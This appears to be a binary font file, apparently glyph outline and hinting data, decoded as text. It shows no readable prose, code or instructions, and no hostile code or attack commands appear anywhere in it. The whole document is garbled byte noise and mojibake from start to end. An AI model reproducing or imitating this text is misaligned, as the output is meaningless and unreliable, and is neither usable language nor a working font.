j�<>--`�!]^�j��jjJ�'$3!.+3!53#5!2%32654&+�2@$����0PEz�����`��{�6�lfgk�:I��jRb:�|jjSj��f~.eQPbJ�'$#!53#5!#3267!#32654&#�z{�������zEP0���$@�~�kgfl~f��jSjj�|:bRj��I:K��bPQes�9�D:332654&/.54632#.#"#"/32673#"&5sj��|�_���{ֽT�cj�utw-.���DB��gbW[RU_>�H��3wv]YFV1-,�f��,*�gtRRC()*-.HFo��d�{Z`�!!���;�9�'#"'&'533276'&7632#&'&#"�ya�HBA>_+*RY-<j_wa�HBA>_+*R[+;^h�t]!�`-->Pn���r]"�`,.>Qm�i�;�9q.3##"&'533265#53+5;54632#.#"���ëH�>_UR[W������C�BaSOg**��~j�Ȥ�!!�`Z{�8j�k����KN8;��J�9�>%6'&#"#567632327673#"'&?�;+[R*+_>ABH�a� �<-YR*+_>ABH�a�hGnQ=--`�!^|���nP>--`�!]}�;�9	0276'&# %# '&!237&7632#&'&#"#54�Y.5��Af����xa�HBA>_*+R[+;lYzd��>H_{k~G=]����s]"�`,.>Qm���V�@@_;��'D%3##!5!4&#"#>32������Z4FH!!����BBkk��Jk��L+*_��FG�;�V'q#533!!327673#"'&5ݢ��Z��4FH!!����BB�kJ��k�ЇL+*_��FG�7���'(!3#3!5#"'&=#53#5!!#!3276�X�����3QQk�TS���_ߠ��!0/z�CA'�j��j�j87ed�Mj�k����HH^\f���'&!#"&'.5467!5! 7654&'5!��噂VPH�jk�IRU�����wzZ[&Z[zv��@��l�ICGFDK�n��@kk.���pppp���.kJ��x'"3#&'&5#5!7654'&'�p�YZ*,PH^^k�i]�h*+\}p[==v�@���o`cIC#$^S�]k�8�<<�k��gf.��'	3!53	3!53�y����՟�qw�'�Dkk�%kk�!�'!3!533	33!53���v<��;w����>�-kk����Dkk����� 3!53	3!5367632#&'&#"�F�y����՟�qw�2==o/212^<7!"�2kk�%kk�|-.�DT�'!53#5!#	#5!#3�����'��ڥ���j1oo�X�oo��jR�9�'35!#!!327673#"'&=R���jf�f�*,[R*+_>BAH�daVf�#V��҃;>--`�!]\�hR�B�'%254#"!5!#!!2!#��?���0���jf�f�.����lcy��Vf�#V��E�Ⱦf�6I'##5!#!!"'&'3327654'&_J��jf��O�fe����uopnp
���YX[[�f��#V�yx��}|9D��dc��fe��6I'$, '&654'&+5!#!#'7&"2(��	/i-[[�_J��jf��O�fe�q	�vL�o���6���V{�fef��#V�yx��}K56��{_��35332654&#"#5>32#3�tZt�Zn�_`�V���r�j�z¾ydb�))�����j��)53"&54632#.#";3d��r�V�`_�nZ�tZt�j{����))�bdy��z�*��!#2#"&'5332654&+#��r�V�`_�nZ�tZt�j������))�bdy��z���9	4632#.#"32673#"&5�ëH�>_UR[VV[RU_>�H�����!!�`Zy���zZ`�!!��s���
-47632"'&2#""&'&7>3 �" 0." B^ "r����������apmmpb��E�npb��.""""./B!!��QJKQ��������kdapjpbc�V�����obc��I+'�f���D#% !";#"!"'&5467.5463 ��qnq��&&��s���hj������fF��m_bjcji`m��MN�g��`��f���+.#"32675#5!#"53254632#.#"�������bx,�}R�����xl¬H�>^TR\VՌ��4�)�j�xF@3��1���!!�`Zx�� ��F�'����;�93�&
�x
�;�T�'7!#3!533!53	#5!#�^�����@���<�l����j�jjJ�ckk$.jjT$'
353#5!#!53T��4��jjSjj�����f�V�(93!53#"'&32=47632#&'&#"4'&#"327654���6ST{�}|��{TS6ab�HAB>_*+R[,*�IJ��HIIH��JI��kk�d0/���60/dL�]^!�`--=;����eepp��qqde���#353#5332654&#"#5>32#3#3氰�tZt�Zn�_`�V���r���j4j8z¾ydb�))�����j��j��#)53#535"&54632#.#";3#3d�ꮮ�r�V�`_�nZ�tZt���j4j�����))�bdy��z��j��f���%)54&#"326!!53!5#"32#5!!{���������f�fBk��6�{���{�6�fy���i�������V����զd_7�6_d)j��};f�6�6C#5!3!5#"32#5!!!"'&'3327654'&%54&#"326�_J��i���6�{���{�6�fe��O�fe����uopnp
���YX[[����������f���fj�d_7�6_d)j�V�yx��}|9D��dc��fe8i�������f�B�4854&#"326254#"!3!2!#5!5#"'&32#5!!{����������?���d�f�.������6ST{�}|��{TS6�fw���i������ɳcy�V��D�Ⱦ��d0/���60/d)j��8;-q6#533!!3!2654&/.54632#.#"#!"&5ݢ��Z��4Fc|�_���{ֽT�cj�utw-/���DB������kJ��k�]�%6YFV1-,�f��,*�gtRRC(*)-.HFo��p�;�9C@#"'&'533276'!32673#"&5#533!&7&7632#&'&#"Nxa�HBA>_+*RY-<x1��4FHB��������Gxa�HBA>_+*RY-;^h�s]!�`-->Pn�C�]�LU_�����kJ����s]"�]/.>Qm�i;��Cq9%54#"#533!!327&57632#&'&#"6! !"'!"&5�D��~�k���Z��4F�st���c�ckFG��LL$}�{�|x�����]m{�kJ��k�]�LS�����0/��@@st�i���YY��J�9�A!53!3!53#5354632#.#"!>32#"&'53327654&#"3�)������C�BaSOgT�3�l�USëH�>_UR[,*`y���jR��jjRk����KNq���lnec��!!�`Z><��Ñ���j;Y,%!2654&/.54632#.#"#!53#5!��|�_���{ֽT�cj�utw-/���DB�����ij9YFV1-,�f��,*�gtRRC(*)-.HFo��j@j;!!53!#!53#5!!�f�fBk�5����iy��'V�����j@j��};G��`)#53####5!##53####5!#���_�I�_��[�I*k��P��_�I�_��[�I*k��5�/�<<����C<<�k��/�<<����C<<�k�G�##!##!##j��h�j��h5��!��^��!��^;�X�0353#"&5354'&#"#567632#3265#5E���3RQl��++[R*+_>ABH�ab0/z���'��jk�l77�����<=--`�!^]����HG���j;�9B54'&#"#567632#3265#5!3327673#"'&=37#"&5�++[R*+_>ABH�ab0/z���V*,[R+*_>BAH�ba3RQl��'��<=--`�!^]����HG���j�Y�<>--`�!]^�h�=l77���.�!53#53676323!534'&#"34gm� 23Cm34e��cKP)*c�;�;��=99w��;;m((44c��;.�1676323!534'&#"3!53547632#&'&#" 13Cm34e��cKP)*c��g<=j-()&;38�=99w��;;m((44c��;;�\44		z6#K.���"4632#"'#53#"'&'5332765'**l�<=j,))&;38�4&&4�<�s\45	
{6"#H.�_#&'&#"3!53#5367632_B/T--���gm�"45L�-45b��;;�;j?.�_�5332765#5!#3#5#"'&.B/T--�]gm�"45L��-45b;;�#;j?.�	�-5#"'&'5332765#5!#327673#"'&'�#35L"B/T--�]e93;'()-j<;�jA�-45c;;�/�J!#6{		44].���(#!53#5!#3276?3#32764'&#�L&&45`��TT
]c+g�P`,�B    B�#$=N()*�**�7�*�!$�x.�G�#53####5!#{��_�I�_��[�I*k���/�<<����C<<�k�.���7#5!##53##"'&'53326D+�K/i��b�J�� $&E;%"*0c!<<�g�<<�bGr&"���t�f����tf'�t���%�@i		��91��990#>7%ME�}��@��?��[��%�@
b		���91��990>=3�ME�}�F@��?��[��%�
0.'03%N�}�EFP[�?��u��452654&#452u@XX@sPOOP�=>X@?X=>PO�PPu��"'&4763"3�sPOOPs@XX@�PP�OP>=X?@X>.��.#327654'&#"#5676323+5�L::6?)+*/o?@@5Jqqxr�""mj""6z		44}�5+��;;.��.!+53&'&547632#&'&#";3exqqJ5@@?o/+*(>6;88;Lr�;d+5�}44		z6DjmD�i;2��%
%�g��������2��5-5��g���'�������|?f3##���t��tf�g���|?f#33T��t��t|�g��?f[@	��91��290K�	TK�T[X���@878YK�TK�
T[K�T[K�T[X���@878Y3##���t��tf������?fL@	��91�<�90K�	TK�T[X���@878YK�TX���@878Y33��t��t��x�����5h3Ԕ5�"���b+�q����Rfv����sdC�h�3Ԕ��"����+�Tq�^��x)3!#��c=�c=l���l�x!#�c=x����u��#����u��#��Z:8533##5#5������s������Z�8s!58�"s���)9H
n@
�[[����1���20K�TX���@878YK�	TX���@878YK�TK�T[K�T[X�@��878Y332673#"&�`
hddh
`
����HOGGO����7u!-�	��1��0K�
TK�
T[X�@��878Y2#"&5460EB33BE!E03BB30E��\@�	�[[����1����0K�
TK�T[K�T[X���@878YK�TK�	T[X���@878Y#"&546324&#"326�ss��ss�zX@AWWA@X�s��ss��s?XW@AWXL�w�&@
�
���9991/��9990!33267#"&546�^WC8:$C q|<{/.8

		YQ1i�J7�@��[[����99991�<���299990@A	

	

 ]K�
TK�T[K�T[X���@878YK�TK�T[K�T[X�@��878Y'.#"#>3232673#"&�9!*0`f[&@%9"+0`f[&@Z7OL��!7PK�����f:@����91�<�20K�	TK�T[X���@878Y3#3#���r���tf��x��tZ%3327#&'&',rBDRj-J/!6Ws_S��c�=�;>-N(	\Q�����$$'&547#5!#7#5!#327676��I<��4!��f\m��y4j���!XS!���kX,$9$=`�#<<��<<���]!w.��	3!53#53q��ss��;;�;7�S153327654&/.547632#&'&#"#"'&7E\ZP+*>cWYPFE{7<=@E-,LKNX_a,+KK�C@?��BB2'0J9R/.
�: !..&('>U01
.���7#5!#3!53'3!537'#5!#��]
\��Z��X��Z��\��U5S�<<�<<��<<�<<.��.!+53&'&547632#&'&#";3exqqJ5@@?o/+*(>6;88;Lr�;d+5�}44		z6DjmD�i;�X!!5!��AGЈ���X!!5!3��A����4���X!!5!3��A��h�h���X!!5!3��A��4�����X%3!5�������������?����E��y�>=3%>=3%ME�}��^ME�}�F@��?��[P@��?��[����?����$�����?����E���9��3����vJ����Y�����ydC������Rfv������?f�������D7�����b�+�!!��V��������������)�9H������7�u!������7�1!j���B���2#567654'&#"5676��+ 1E�l6)IR,a�o 18X(Op6'<
"��������������f�������?f�����Lm3����~�������*m'����"�A�f###�=�r��t��f��x��x����)�9�'�������)�9H#."#> �`
h�h
`
�"�)OGGO��������&	#6767��LF�::u�*pPgIJ6�����2'67&'&5476�D(	�JP
1"&6"�7#,��LS#&8F'�k�v�2&'&75476��-"6&"1
PK�	(�'F8&#SL��,#7�}��f3#DƐtf��������}�eC�
�������S�ev����[�G���%53#5#5��������"���l�G���%33##�l����ۥ���p�Nt!#!�pޔ��t�"J���ZA532654&'#"&��z0.8�		ZP1jM^WC8:$C q|<���:���_"'&4763"3��sOPPOs@XX@�:OP�PP{X@?X�����6533!5�����"����������%##5#5�񥔥۔�����G��%533##5#5��������������������%!!��"۔���9��'#"&'533276=�ëH�>_UR[++�褻!!�`Z><����9�T�%332673#"&5�ݹ*,[RU_>�H�À�<>Z`�!!�������x�u�b���A����x�5�bj���A�(����4&#"3267"&5462�[6'(55('6y|�||�|��&65'(56&Z}}ZY||�7�4�g�d	>=3�7LF�::u�d*pPgIJ6���#�u��z����L�w��������J�d3�����~�����+�f#!#5�i�V����y�����C�>�b#"3327473327673#"'&�0W�`	:	J`	9
J`�T0��N��	��	��J������?�����$������?�����&����C�9�b�����E�9�d#."#> �`
h�h
`
�"��EOGGO��������K�D�e����.�����+�fq��p�����mB������]�����=Q''&'&#"#676763232767673#"��
�gf7K`25cdTi�
�gf7K`2=[X`i)	9>(&�;=3)B	9>(&�;F*)����:5!���jj���:5!���jj�������'��L�L^?�?����'�&NsP9EG��@���e2#52654&#�sOPPOs@XX@�OP�PP{X@?X���&�l53!3���������y���?��g!!�u�b&����b&����C�>�b632#&'&#"#&'&#"#32�0W�`	:	J`	9
J`�T0�N���	��	J�!���U'77''��thuuhtthuuhwuhtthuuhtth������.54675>54'&'��!��KP7!��LO�0PQX$ +0PQX$ ����'����������������7	!�����Gq^#"%$#"5>323276q��|W����cּ'-��X8c��^agE@LeebF@Lr�p?�^ #&'& #676��$ɟ��d���$.��^H|[ww�PH��q{�4F�'	!!##5!�0�и�^�|���jB�!53!#!#!3�����.���j����V3�jS'##3!53##�Ҧ���Ҹ'����jjB�~��t�f3�A�nt���V�H%#�A�nH��d����33!53##5!�ly�����y�Rj���xjjJ�/�kkF�'
3#5!33!�^&y������j��
�Cj
����W���	=3?�H��33�g(Ղ�]

��f��DP��f��D&FyE�R��f��D&Py�R��J���y���T�V��-��RfO���1��0K�	TK�T[X���@878YK�TK�T[K�T[X���@878Y3#���uf�����7R�&j������f&�
���B�Ly���f'\�����f'V����f'V������=f& ����@f'�����Wf&"0����-��&2�H������$��qd�%q7�
%3!53#5!#5!�����{�>jjjk���Np�)3	p��=�/�J�H��y����q3�(��\?�=��q��+s��� ,`@nni`-,')!&$		%-������2��21����@	+"�!�(%�&/K�
TK�T[X�&��8Y�2��20�_.o.�.]%2#""&'&547>3 #3!53#5H����������apmmpb��E�npb��o{{�{{NQJKQ��������kdap��pbc�V�����obc	�����q��,��q�.����%	3!5333!5b�J�H��\�����jy��jjk��jj��f��0��d����1q#�%53!3!#!##3!53#5�{�N{��D{�{�7{{�{{����L�]�L���c�����s���2��q�����q�3S�
	!53!	!#5!���{�5��h�{�I.���������B�7����Z�<s�'093!535&'&'.46767675#5!#67654'&'�mmpd}dN����Ne|dpmmpgyBq�G�qByg�m�`}}c�˫c}}`/��OF!
ajja
!FO��OHdkkdH��Zv��mV�c�Vm��vZ����;`��/;#"3!53$'&6+532#5!#676,��f[�t�����n�[f�^B��G��B^�"#k����wi��jj	i~3�k����_B�kk�|C_}'�)M@(n!iw			'%*����������991/<�2���2990%!53!565#"!3!&5476$32`Pu����������uN��snc���cot����ӶF7�S������F�-�W`֗g[`_\g�������b�\&
{�u����Z\&
{�u��f��0f&*e��e���f&.��J�VJf&0L��J-�f&2�H��J��x�&>Wf��0C$2'&'&5476276737'&'&'&767t(_>n�{||u��VL'$ge`"hF$&7}ˏA:?2�sWIIN�sSoV7$������C;�%oi4;^��ΝKyuz8Q&�{e��q{
	���V9-%32654'&+5327654'&7632!"'9P���[]�_2XH/M\��wR�x_FE|�he���=�;���Z]kH=�EO��q�0��8�td�TS(ml�^��\J�Tc'%'&7#5!76'&'53�>:/Ej.4���T�
(0pt(g(<��lVgt��k��1�cCk;F;T5a�Kf��j#,&'&547632&'&"32#"7626& nD&bb�6hhplHH�EI!Mb������?7����ؗ�08��DC�Y.-14B_ K����3��C�X����8���e���2S�U3$#5254#$'&46%!#��p�r��9+kZ���茍��{��i{������rZLl�����堐J�VJD[@':,'0��2���1@�
�z��/����90�/�]K�TX���@878Y3#5!>32#4&#"��h3�l���`y���k�ln�������f��i+1@
	
*��2��21@z

��q`����9/�0'&#"!32762#"�DK��LCS��DL��LD��������@A������k��������K�����J�kj�J-�'
#5!7'&��hJ8|̎]"�k���#JyuzP��F�'�T� &'&#"#5676323!53	3!53%"#5<^212/o==2�w�q���Ū�y�\D�.-|�#kk�"kk�F�V�'n@,',:,'0��2���<�1@�	z�z
�	`/���<�2�99990�]K�TX�@��878Y�]!3!5#"&'##5!3265#�X���4�Z9^'��^`y���'�Ah�jo$$�+fk�����Jq'%6767676'&'53##5!�z�P_=*9HpqP>H_{ኹ�ht0tF�ld\Fa
;1mTfJ=,g�\�,�kS�U) 3$#5254# '&54767$54%!#!N��_�K1�9+kZ����s{�'���I��i���@k>m��oH�rZLl��w���V�e�z&���f��jDRJ�'J@%z�
	z=,'
,,:,',0����������1/<�2��220�/@]353#5!#3!53!3T��������!�jRkk��jjR��j��VMD32654'&#"#476763 #"&'9����HW�QI�WaCX����{�6Hi�����hzoe�O��zr#.����_df�UD %$#5254#$'&532#.#"�9+kZ���茍�e�ek����KMH�rZLl������1/0�����qrf��:'
%2654'&'" !!#"76h��KC��GK���8��������rF���lmu����k����3��|S-'7'&7!#!�J7}̎]��i���f�"KyuzP���kJ��x'"3#&'&5#5!765'&'�p�<B*,PH^^k�i]�h*+\}p[%Cb'Os��o`cIC#$^S�]k�8�<<�k�;f/Z�V@,)7#&'&'&'&54767347676567654'&#")��;FHA-B<�pbC%74�-L��hB-AMA<��27%'WL6$�V�!E@l<��sO;/f8��oi��v���<l@Kmdl��lqqK����9�D5!53&'&#"#567632#5!#327673#"'&'��s�*<^212/<GL#j�ۃ���*<^212/<GL#h�jj��cD�.1x���kk�A�AcD�.1xa�O��V�'1#"'&'&'&54'&'537376547673#��]WAMG'%&4ex-@7D��D7@8me2(%'GMAW[�V�$KFf<��lp%;g[�վk��<�k��sd^;$qi�<fFK$Z��"':%"'&'&'&547673767653765'&'53#&>}�]WAMA-B<�pbC%7D�D.M�M.D�D7%Cbp�<B-AMAW]���$K@l<��sO;/f8��k�<gph��pg<�k�8f/;Os��<l@K$��-�!&2j�L��J��x!&>jH��f��jf&8o��J��xf&>��Z��"f&BWq���353#5!##5!#	773q��G�����|�K�lK~����jkk��5kk��3�{�K�K��Y��jf��B+$767676'#"3 2765#"��DW��7&*�
p�������B̓�ޓLC<d����"hK���l��������`p�$��F��l+)##"'&#5!3276"'&#'&#"l|���䐣�^`V��LD�`�ys�	/LK�Zm@V������k��̶��?Jg*�	���pt����L\=4�#6'&3!53'&#5 �Z )i�߿����k��}0h�
&ue���6jj���k�{��R�s���f'��K���=4\'
{�uKM�V$#%676'&'#$'&76%3'�;LK<����w��v�w��w����;LL;K\u�t^�y�������-�����e�^t�8u\,��N' <!##&'"'&'&'&54767#)767653765'&,"�$D-AMAW]�}�]WAMA-B#����-,%7D�D.M�M.D�D7'&'k;��<l@K$��$K@l<��x?%@5��k�<gph��pg<�k�8;`�9�DT"#"'&'&7'&76?'&'&#"#567632676767327673#"&'533276�<GH'(']8:)�C�Zc4*<^212/<GK$$ H]F�C(yZh4*<^'9ZO�H�>_URK;X./z~�+4�5�ˆFspT�S'D�.1xz�
#BJ[5�"5ghZ���S'D�s�`U!!�`Z>Zs�V�$%2#"#&'&'&7>3 H�������R�`[apmmpb��E�npb~YNQJKQ��������f�n�
#2apjpbc�V�����ob2"f�VjD%26& #&'& h����ؗ�﹥s���sF����8�]�m�{��2���|s�U{�# '&'&5!2#.#"%$#52'&���hpm�Iz�q%���{t�X,kZ��	2,gp�\�@A���������ĵ��rZLl��f�U�$&3$#5254#$'&57637673#j�`LKM�9+kZ���茍��Ĝ.R	k3�[�t^��qr�rZLl�����z�2]�Iq7�353#5!#5!!#5!3q���{�>y{��jk����˻�~j�G�Pr�%47632#.#"!!#"&'533276�{e�3vFbKIP,>?��|f�2tGbJHP+A��bd�VRE@���j��bd�VRFgk:�
)##5!33:��������E��y��3���j����	��	#!3���q��q�|���O�i��U��#	#&'#&'&#6$3 #5276��xP���{���rp%q�zH��!9��vC���� ��o�`��[Y�XA@�������뗲72k��\�VHD#&'&'#&%5 #66����`0
�	�2��oP���^R
�V ���Tf�4!�|�������nXv`���DE67327673#"'&'&7'&76?'&'&#"#567632676F�C(yZh4*<^212/<GH'('c2:)�C�Zc4*<^212/<GK$$ H�J[5�"5ghZ���S'D�./z~�0/�5�ˆFspT�S'D�.1xz�
#��RMD#262#&'&#'&5476763 #"&'32654'&#"L��Z2_2_�U0uw^WaCX����{�64Y�����HW�QI��<,�7)L-^J�j�zr#.����_d��_:d�i�����hzoe��f��DF���;�9��Ms���
!! &'& "&'&7>3 8� ��c}�}c�apmmpb��E�npb����Q����}dapjpbc�V�����obc��f��D���f��D���q��;�V�32654&#"#5!>32#"&'�����������i6�{���{�6Hi�������OTj�md_����_d����s����&f��353#5!	!#3!53#3q����ǿ�������jk��Ak�jj��+�=jc�V_'	33!##oo������j�Ƹ'���AhV�;��U�V�D'!!#5#53476763 #"&'32654'&#"r��eeWaBY����{�6����IV�PJ�kppk�zr#.����_d�i�����hzoe��s����O��s����'y"&��s����&Oy|"��q3k'
~�u���q3\'
{u�����B����B��B��B|��#I�	�#Ia��bh�	Fa�F`��C�`#B��C�`C�UX���C�`C8��5Y��B��B��	��#Ih;�	�5��#I�@PX��@8��5�5Y���E��,U@&%	$
$-���<��������1@$d)n!�%
n

obo
/�2�<�2�����04&#"3!53!#!#5!6$32#"&'533265�x�¼�����{?{��89<����G�IrXXw^ϸo�o��kk��`���l�2���I��""�ca����q�k'
|u~s����U@&'

%��9�����1@	�ndni`��������90@	/
///
]2#.#"!!3 3# N�<q%�����/	��O`�B����^��������z���=���``��������6��q��,��_�\'
{�uq}�
KT�KT[�KT[�KT[�KT[�!KT[�#KT[X�$@$$��8448Y�KTX�$@$$��848Y�KT�KT[�KT[�KT[�KT[X�$��$$@848Y���T�V��-4��D�"+R@'#$$#$,�����<�����1@*o �n�ob`$o/�2���2������0)53!#"&'533265#5!#3 32654&+D��Ծ��R7�'�IrPJIc ���xW�C��������Pj������""�V�m�2kk���������q��(^@	% $$"$%$!)��2�2�<�2��2�2��1@�#o!b
o%~/<�2�2�<�2�20%32654&+)53!3!53#5!#!#5!#3 ˥��������Ծ�������G��G�xW�j������Pj��~jjkk��kk��������"O@ "$$
$$"#���<�������1@n!o"bo/<�2��<�2�0#5!6763!534&#"3!53!#�{������~��������{���l�����kkd�n�l��kk��`��qk'
|Hu���q�k'
~uu�������&���uq����F@$$$	$
!���2����2���1@o
b�	o/<��2��<�20!"#4#!53#5!#!#5!#3Qe$�$e�Ⱦ�G��G����?jjj��jj��j����$$qd�T@
	$!��2�2��9��1@o��o	bo/�2������0@	

]%!2654&#!!#5!3 )53#�+������w�{�S�|���N��j����������j��qd�%q��
-@
�obo
	$
!���2���1/�2���0%3!53#5!#5!�����{�jjjk���f���	!A@$	$!"��9��99������91@o�bo/�2�22���203!%#5!#3#4'!"#3252Z a�P����jn�1d$jb�EZ������kk��U3�����l��q3�(��+�@

$+$),�<�2�<�2�9991@M	(#*o%b o/<<�2�<<�290KSX@#	





dd��	<<���<�<�<�<Y�")<<<<@+ 
!"#
$	%&'(*I:I:I:I:I:I:I:I:I:I:I:I:I:I:!##5!#	3!533!53'3!53	#5!##[G�e��"-�����A�������A����-�"��e��k��ykk���jj���jj�xjj�kk��yo���(I@!'(!')��������91@ee'te$ei`)��������9063 #"&'332654&+532654&#"#���
���������&�������_2ڭ����
p�Z���� ׫�߽i9�����j�����~q��r@$
$$
$!��2�2��2�2�2�21@M
	
o
bo/<�2�<�2��90KSX@
d
	
	d��Y353#5!#5#5!#3!533q��G��G��������jkk�e�kk�jj���j��q��&��zu"�	KT�
KT[�KT[X�8@88��848Yq��@

$$!��2�<�2�9991@M	obo/<�2�<�290KSX@#	





dd��	<<���<�<�<�<Y!##5!#	3!533!53#qG����<�����/�������k��ykk���jj���jj4��E�E@
$$$
 ������2���1@
n�ob`o/�2���2����0%!#"&'533265#5!#3!5���R7�'�IrPCPR#������j������""�V�i&�2kk�jj��f��0��q��+��s���2q��>@$
$	$$
!���2��2���1@
�obo/<�2��2�0#3!53!3!53#5��������������k�jj�jjk��q�3��s����&��B�7����r@

������91@M
n`
ob�<�2����990KSX@d
dd��9���Y"&'5332?#5!#	#5!#�)�Jr\8T0G�%�P�`n����""�dK}Tkk��2kk�b.�u/�%.7`@+
$&$3$/$8�<<�2���<<�2��1@
b'7no/�<�<�2�KSX�&/n#<<�2�&/n#$o�<�<�2Y0!#32+3!535#".54>;5#326&+";/F�a��oo��t����z�Džg��W����ϫ���Ԧ�kSB��uzǒJqjjq?�܂pǩ?S��������������;q����F@$$
$$
!���2�����9��1@	obo
�/���2�<�20)53#5!#!#5!#3#4�����G��G��j$kjj��jj��T>��C@$$$$
�����2�<�2�1@	�obo/�2��<�2�0#3!53! $5#5!#3!#5ƾ��������B���&��k�jjƬkk�����kq��\@$$	$$$$
!���2�����2���1@ob�	o/�2�2�<<�20@	]%!#5!#3!53#5!#!#5!#�1�G������G�1�G�{�jj�kkjj��jjq����d@
$$$$$$
! ���2����������91@ob�o/�2��2�<<�20@	]!#3#4#!53#5!#!#5!#!#iG��j$d����G�1�G�1��j��T>kjj��jj��F�G@

$$��2����9��1@o
��
obo/�2�����0%!2654&#!#3 )53!#�	���������C��p���{j�����k�����Lj��L��qn�',��q�@@#	$!��2�2���91@o�ob
o/�2��2��0%!2654&#!)53#5!#3 �	������!��p��G��Y�j�������Ljkk���s����V@	&
'	�������91@
�n	dni`��������90@	////] !"$'3!2!5!
#"#$�I��^����B�`O��	�0�����%q<�U�����^���F"z@��X�q��	�(Q@ &

$$!)��2�<�2�9��9�1@#nin`�obo/�2���2����99�0%3!53#5!#!76! ! '&!2#"������G�g��3E��]�������6�������jjjkk�����V�����_��A��QKJQ��������F� `@$$!����2�<�1@M	o�obo/<�222��2��90KSX@$$ 	  	���<�<Y!"3.5463!#3!53!3!53|�����������E�����������!I����] ����k�jjL��jj��f���DDW��i6"+B@!
*D%,�������991@#�!�(�`,��99��99990'&467676$>7367632#"'& 3 e	"Y�^SZj�H���dB6[Z�����醆�՘�+�k^�E�Q-B_�42lG�jQO����͒��3����I+'"8@,
0#��2�2����1@z"z�"z/�2���2�90 #!53#532654&+32654&+�\zu(��ק�_�jsti��u~v�'��^q
#힖jSj�[YDDZ��p[[n;�'
0@,-
	,
0��2����1@�z
�	z/�2���0#5!3!53#5�j�6����'�ߦ��jjSjJ���'	!H@,	,-!"��9��99������91@z���z/�2�2����20� #]3!%#5!#3#'&#!"#32>5�6
������hd��dh8J^����a3jj���{��������f��VDHC'+�@

,+,),�<�2�<�2�9991@M	(#*z%� z/<<�2�<<�290KSX@#	

>>



����	<<���<�<�<�<Y�")<<<<@+ 
!"#
$	%&'(*I:I:I:I:I:I:I:I:I:I:I:I:I:I:!##5!#	3!533!53'3!53	#5!##����������ʏ������ʘ����ɶ���'j�b�jj���jj����jj.��Kjj.%jj�b�Z���D%E@$-
&��������91@z�
'"��
`&��������9063 #"&'332654&+532654&# #���������ʸ��B�{���\0���y��l�J��Xq����y�YZ�jfP[f�F�'y@=
=,
:,0��2�2��2�2�2�21@M
	
z
�z/<�2�<�2��90KSX@
�
	
	���Y�/]353#5!#5#5!#3!533F�����������jSjj��_jj��jjR��Oj��F��'������@(IRX�8��88@848YF�'�@
	
=
,0��2��<�2999991@M
z�z/<�2�<�290KSX@>
>	

		�	�����Y##5!#	3!533!53#5J���������‘�����'j�b�jj���jj����jjSj$���'$?@=
,
=,-%��������1@ "��
z�`
z/�2���2����0%>76=#5!#3!53!#"&/326("
���������
({SBDL?)?�*�hMȼjj��jjD��uS�PHO}J�'�@==
,	,,,0����������9991@
z�z/<�2�<�290KSX@��>>����Y353#5!	!#3!53#3J���++������������jSj�%�j��jj6��5��jF�'�@
,==,:,0��2�2���<�2�21@�z�	
z/<�2�<�2��0�/]@)////������������____]3!53!3!53#5!#!#5!C���������������jj��fjjSjj��=jj��f��jDRF�'E@,
=	,:,
0���2��2���1@
�z�z/<�2��2�0�/]#3!53!3!53#5馦���������'j��jjB��jjSj��;�V�DS��f��DFS'3@-,

-	,
��������1@��	z/�2�<�20#5!3!53!#i�ߦ�����i'�ߦ��jjB�!���9�'\O�V�#0=b@8,2*,,0>�<<�����<<���1@#21$0!zq>;'�!�5-�`>z�>��2�<�2�<�2��90#5!7632#"/3!53#"32'&#"32?32654&#"ƱiC0i���i0C����C0i����i0CC(MS��SM(C�C(MS��SM(��i��F2�������2F�ejj�F2/-2�F(����(F��UF(����(��j'[J���'M@=,
,:,
0���2�����9��1@	z�z
�/���2�<�20�/])53#5!#!#5!#3#'&�I������hiTjj��Bjj���{��F�'^@,,=,:,
�����2�<���1@	�z�z/�2��<�2��	#I��#IRX�	����8Y0#3!53!"&5#5!#3!#5ݦ�����b^����E<Z�'j��jj9�M@jj�sP�jJ8'^@,,	,==,
0���2�����2���1@z��	z/�2�2�<<�20@  //]%!#5!#3!53#5!#!#5!#�����������{Bjj��jjSjj��BjjJ��8'f@
,,,==,
0 ���2����������91@z��z/�2��2�<<�20@//  !]!#3#'&#!53#5!#!#5!#!#4��hd����������'j���{��jSjj��Bjj��B<�'T@,,-
�����2���1@z
z
�z/�2��<��0@
]%32654&+##!#3 )53`�evwd��xʦ�������jp\\o��j�����j<'#i@,",!,	
,0$��2�2����2��2�1@z z!�
z/<�2��<�2�0@	
]%32654&+)53#5!#3 3!53#5!��evwd�a���������j�����jp\\o��jSjj��L��jjSjl<'N@,	
,0��2�2���1@
zz�
z/�2���2�0@	
]%32654&+)53#5!#3 ��evwd�a���������jp\\o��jSjj��f��DR@
-���2���91@z�������`�������I�IPX�@8Y0! #632#"&'33 !5D��k��������'�4�"�$\���_���������i;���D(T@ D&,
	,0)��2�<�2�2��99�1@
�#���`z	�z/�2��2��99���03!53#5!#367632#"'&'2654&#"��������~�������z����������jjTik��ٌ�����͙��w��������A�'����B����B@=

,����2�<�1@Mz
z	�z/<�22��2���#I��	#IRX�����8Y90KSXK�RX���>��>�

���<��<
��#I�@a��C�`#B��C�`C�PX���C�`C�8YYY#"3#3!53#!53.54637�lfemR��������GЩ�UhdOOf�j��jj��j���w���f��Vd&�C���f��V!&�jh����B����B��B��B|��#I�%�+#Ia��bh�%Fa�F`��C�`#B��C�`C�UX�+��C�`C8�+�5Y��B��B��%�+�#Ih;�%�5��"#I�@PX�"�@8�"�5�5Y+�9�$53#5!!!6!2'654&#"3!53+ϰh�g����;��[�������k�j�k�����~[wU�ū���jjR��;�f&v:�f��DQ@
-	*��2����91@z�������`�������I�IPX�@8Y0%673#"'32#.# !!j�4�!�����q�\k�����$F���3�)0/��{i�S��s���DV��J`�L��!'j�H�J�
KT�KT[�KT[�$KT[X�"@""��8448Y�KT�KT[X�"��""@8448Y���;�9��M$���'"+L@' =,+,-,�����<����1@+z
�
�z�
`#z/�2���2������0!53!#"/32>6=#5!#32!'32654&+����:&{IIXL44?0#
����Ļ����evwd�fH���ӔO}lMȼjj������fp^^oF�'(\@$	,== :,
0)��2�2�<�<�2�2��1@(�z� z/<�2�<�2�<�20)53!3!53#5!#!#5!#3232654&+��������������������evwd�4��f��fjjSjj��=jj�����p^^o+�%j@=,
, $,!&�<�2�<<������1@�z #z%qz/<��2���<�<�0K�TK�T[X� !�=8Y!!>323!5354&#"3!53#53#5!��3�l�����_z������ϰh'k��ln���jj�Ï���jjRk�j��F�f&vH���F�d&�C����9��'�����<���'m@==,	,
0���2����2���1@z
